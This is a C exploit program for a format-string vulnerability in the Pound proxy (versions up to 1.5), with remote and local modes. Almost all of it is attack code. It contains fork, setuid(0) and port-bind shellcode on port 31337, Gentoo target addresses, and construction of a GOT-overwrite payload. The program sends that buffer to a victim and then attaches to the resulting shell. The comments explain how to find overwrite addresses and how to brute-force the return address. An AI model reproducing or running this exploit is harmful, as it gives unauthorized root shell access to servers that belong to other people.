/*
	Pound <=1.5 remote format string exploit (public version)
	by
	Nilanjan De - n2n@front.ru
	Eye on Security Research Group, India, http://www.eos-india.net
			
	Vendor URL: http://www.apsis.ch/pound/
	
	Local exploit is only useful is pound is setuid
	The shellcode used doesn't break chroot
	if you need to break chroot, use a different shellcode
	
	To find jmpslot:
	For remote:
		objdump -R /usr/sbin/pound|grep pthread_exit|cut -d ' ' -f 1
	for local:
		objdump -R /usr/sbin/pound|grep exit|grep -v pthread|cut -d ' ' -f 1
		
	Note: In case of remote exploit, since the exploit occurs in one of the threads, you may need to modify this exploit to brute-force the RET address to make the exploit work. Since pound runs in daemon mode, brute forcing it is no problem.
*/


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 8888
#define BUFSIZE 1024
#define NOP 0x90
#define POUND "/usr/sbin/pound"
#define COMMAND "TERM=xterm; export TERM=xterm; id;uname -a;\n"
#define LOCALHOST "127.0.0.1"
typedef enum {LOCAL,REMOTE} type_t;
struct target
{
	char *arch;
	unsigned long jmpslot;
	unsigned long ret;
	unsigned int align;
	unsigned int  offset;
 	type_t	type;
} targets[]=
	{
		{"Gentoo - Pound 1.5 remote",0x08055610,0xbf3eda54,3,7,REMOTE},
		{"Gentoo - Pound 1.5 local",0x08055618,0xbffff410,1,11,LOCAL},
		{NULL,0x00,0x00,0,0,0}
	};
	
/*
 x86 linux fork+portbind shellcode(port 31337)
*/
 
char shellcode[]=
	/* sys_fork() */
	"\x31\xc0"                      // xorl         %eax,%eax
	"\x31\xdb"                      // xorl         %ebx,%ebx
	"\xb0\x02"                      // movb         $0x2,%al
	"\xcd\x80"                      // int          $0x80
	"\x38\xc3"                      // cmpl         %ebx,%eax
	"\x74\x05"                      // je           0x5
	/* sys_exit() */
	"\x8d\x43\x01"                  // leal         0x1(%ebx),%eax
	"\xcd\x80"                      // int          $0x80
	/* setuid(0) */
	"\x31\xc0"                      // xorl         %eax,%eax
	"\x31\xdb"                      // xorl         %ebx,%ebx
	"\xb0\x17"                      // movb         $0x17,%al
	"\xcd\x80"                      // int          $0x80
	/* socket() */
	"\x31\xc0"                      // xorl    %eax,%eax
	"\x89\x45\x10"                  // movl    %eax,0x10(%ebp)(IPPROTO_IP = 0x0)
	"\x40"                          // incl    %eax
	"\x89\xc3"                      // movl    %eax,%ebx(SYS_SOCKET = 0x1)
	"\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)(SOCK_STREAM = 0x1)
	"\x40"                          // incl    %eax
	"\x89\x45\x08"                  // movl    %eax,0x8(%ebp)(AF_INET = 0x2)
	"\x8d\x4d\x08"                  // leal    0x8(%ebp),%ecx
	"\xb0\x66"                      // movb    $0x66,%al
	"\xcd\x80"                      // int     $0x80
	"\x89\x45\x08"                  // movl    %eax,0x8(%ebp)

        /* bind()*/
        "\x43"                          // incl    %ebx(SYS_BIND = 0x2)
        "\x66\x89\x5d\x14"              // movw    %bx,0x14(%ebp)(AF_INET = 0x2)
		  "\x66\xc7\x45\x16\x7a\x69"      // movw    $0x697a,0x16(%ebp)(port=31337)
        "\x31\xd2"                      // xorl    %edx,%edx
        "\x89\x55\x18"                  // movl    %edx,0x18(%ebp)
        "\x8d\x55\x14"                  // leal    0x14(%ebp),%edx
        "\x89\x55\x0c"                  // movl    %edx,0xc(%ebp)
        "\xc6\x45\x10\x10"              // movb    $0x10,0x10(%ebp)(sizeof(struct sockaddr) = 10h = 16)
        "\xb0\x66"                      // movb    $0x66,%al
        "\xcd\x80"                      // int     $0x80
 
        /* listen() */
        "\x40"                          // incl    %eax
        "\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)
        "\x43"                          // incl    %ebx
        "\x43"                          // incl    %ebx(SYS_LISTEN = 0x4)
        "\xb0\x66"                      // movb    $0x66,%al
        "\xcd\x80"                      // int     $0x80
 
        /* accept() */
        "\x43"                          // incl    %ebx
        "\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)
        "\x89\x45\x10"                  // movl    %eax,0x10(%ebp)
        "\xb0\x66"                      // movb    $0x66,%al
        "\xcd\x80"                      // int     $0x80
        "\x89\xc3"                      // movl    %eax,%ebx
 
        /* dup2() */
        "\x31\xc9"                      // xorl    %ecx,%ecx
        "\xb0\x3f"                      // movb    $0x3f,%al
        "\xcd\x80"                      // int     $0x80
        "\x41"                          // incl    %ecx
        "\x80\xf9\x03"                  // cmpb    $0x3,%cl
        "\x75\xf6"                      // jne     -0xa
 
        /* execve() */
        "\x31\xd2"                      // xorl    %edx,%edx
        "\x52"                          // pushl   %edx
        "\x68\x6e\x2f\x73\x68"          // pushl   $0x68732f6e
        "\x68\x2f\x2f\x62\x69"          // pushl   $0x69622f2f
        "\x89\xe3"                      // movl    %esp,%ebx
        "\x52"                          // pushl   %edx
        "\x53"                          // pushl   %ebx
        "\x89\xe1"                      // movl    %esp,%ecx
        "\xb0\x0b"                      // movb    $0xb,%al
        "\xcd\x80";                     // int     $0x80

int
connect_to(char *host, unsigned int port)
{
	struct hostent *h;
	struct sockaddr_in sin;
	int sock;
	
	if((h=gethostbyname(host))==NULL)
	{
		printf("- Error: Unable to resolve %s\n",host);		
		exit(EXIT_FAILURE);
	}
	printf("+ Resolved %s\n",host);
	sin.sin_addr=*((struct in_addr *)h->h_addr);
	sin.sin_family=AF_INET;
	sin.sin_port=htons((u_short)port);
	if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
	{
		perror("socket");exit(EXIT_FAILURE);
	}	
	if(connect(sock,(struct sockaddr*)&sin,sizeof(sin))<0)
	{
		perror("connect");exit(EXIT_FAILURE);
	}
	printf("+ Connected\n");
	return sock;
}

int sh(int sockfd) {
   char snd[1024], rcv[1024];
   fd_set rset;
   int maxfd, n;
 
   strcpy(snd, COMMAND "\n");
   write(sockfd, snd, strlen(snd));
 
   for (;;) {
      FD_SET(fileno(stdin), &rset);
      FD_SET(sockfd, &rset);
 
      maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
      select(maxfd, &rset, NULL, NULL, NULL);
 
      if (FD_ISSET(fileno(stdin), &rset)) {
         bzero(snd, sizeof(snd));
         fgets(snd, sizeof(snd)-2, stdin);
         write(sockfd, snd, strlen(snd));
      }
                                                                                
      if (FD_ISSET(sockfd, &rset)) {
         bzero(rcv, sizeof(rcv));
                                                                                
         if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
            printf("+ Good Bye!\n");
            return 0;
         }
                                                                                
         if (n < 0) {
            perror("read");
            exit(EXIT_FAILURE);
         }
                                                                                
         fputs(rcv, stdout);
         fflush(stdout);
      }
   }
}
                                                                                

void
usage(char *progname)
{
	int i;
	printf("Usage: %s <type> [RemoteHost]\n",progname);
	printf("Available types:\n");
	for(i=0;targets[i].arch!=NULL;i++)
	{
		printf("\t%d\t-\t%s\n",i,targets[i].arch);	
	}
	exit(EXIT_FAILURE);
}
int
testifworked()
{

}
int main(int argc,char **argv)
{
	char *victim;
	int s;
	int i;
	int high,low;
	unsigned int port=PORT;
	struct target *t;
	char buf[BUFSIZE];
	if(argc<2) usage(argv[0]);
	i=atoi(argv[1]);
	if((i<0)||(i>=(sizeof(targets)/sizeof(struct target))-1))
	{
		printf("- Invalid target type\n");
		exit(EXIT_FAILURE);
	}
	t=&targets[i];

	high=(t->ret & 0xffff0000) >> 16;
	low=(t->ret & 0x0000ffff);
	
	memset(buf,NOP,BUFSIZE-1);
	buf[BUFSIZE-1]=0;
	
	if(t->type==REMOTE)
	{
		if(argc<3) usage(argv[0]);
		victim=argv[2];
	}
							
	
	if(high>low)
	{
		*((unsigned long *)(buf+t->align))=t->jmpslot;
		*((unsigned long *)(buf+t->align+4))=t->jmpslot+2;
	}
	else
	{
		*((unsigned long *)(buf+t->align))=t->jmpslot+2;
		*((unsigned long *)(buf+t->align+4))=t->jmpslot;
		high^=low^=high^=low;
	}
	buf[t->align+9]=0;
	
	if(t->type==REMOTE)
		low-=0x16+t->align;
	else
		low-=0x28+t->align;
	i=snprintf(buf+t->align+9,BUFSIZE-1,"%%%dx%%%d$hn%%%dx%%%d$hn",low,t->offset,high-low,t->offset+1);
	buf[t->align+9+i]=NOP;
	memcpy(buf+BUFSIZE-6-strlen(shellcode),shellcode,strlen(shellcode));
	buf[BUFSIZE-3]=buf[BUFSIZE-5]='\r';
	buf[BUFSIZE-2]=buf[BUFSIZE-4]='\n';
	
	if(t->type==LOCAL)
	{	
		if(!fork())
		{
			execl(POUND,"pound","-f",buf,0);
			perror("exec");exit(EXIT_FAILURE);
		}
		victim=LOCALHOST;
	}
	else
	{
		printf("+ Connecting to victim\n");
		s=connect_to(victim,port);
		printf("+ Attach?");
		scanf("%c",&i);
		printf("+ Sending evil buffer\n");
		if(send(s,buf,BUFSIZE,0)!=BUFSIZE)
		{
			perror("send");exit(EXIT_FAILURE);
		}
		close(s);
	}
	
	sleep(1);
	printf("+ Checking if exploit worked\n");
	s=connect_to(victim,31337);
	sh(s);
	exit(EXIT_SUCCESS);
}